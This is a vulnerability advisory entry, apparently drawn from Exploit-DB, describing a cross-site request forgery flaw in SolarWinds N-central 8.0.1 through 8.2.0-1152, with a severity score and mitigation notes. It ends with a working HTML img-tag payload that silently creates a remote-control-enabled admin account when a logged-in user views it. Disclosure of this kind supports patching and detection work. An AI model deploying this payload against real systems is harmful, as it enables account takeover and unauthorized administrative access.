Cross-Site Request Forgery Vulnerability in N-central

vendor:

SolarWinds N-central

by:

7.5

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: SolarWinds N-central

Affected Version From: 8.0.1

Affected Version To: 8.2.0-1152

Patch Exists: NO

Related CWE:

CPE: a:SolarWinds:SolarWinds_N-central

Metasploit:

Other Scripts:

Platforms Tested:

Cross-Site Request Forgery Vulnerability in N-central

A remote attacker can perform certain administrative actions and gain unauthorized access to the affected application by exploiting this vulnerability. Other attacks are also possible.

Mitigation:

Implement measures to verify the authenticity of requests, such as CSRF tokens or referrer validation. Regularly update to the latest version of N-central.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/56933/info

N-central is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

N-central 8.0.1 through 8.2.0-1152 are vulnerable; other versions may also be affected. 

<img src="https://ncentral/addAccountActionStep1.do?page=1&pageName=add_account&email=test%40redacted.co.nz&pswd=CSRF123!!!&confirmPassword=CSRF123!!&paperSize=Letter&numberFormat=en_US&statusEnabled=true&type=SO%20Admin&defaultDashboard=All%20Devices&uiSessionTimeOut=20&configRemoteControlEnabled=on&useRemoteControlEnabled=on&rcAvailability=Available&useManagementTaskEnabled=on&firstName=CSRF&lastName=Hacker&phone=&ext=&department=&street1=&street2=&city=&stateProv=&postalCode=&country=&method=Finish"></img>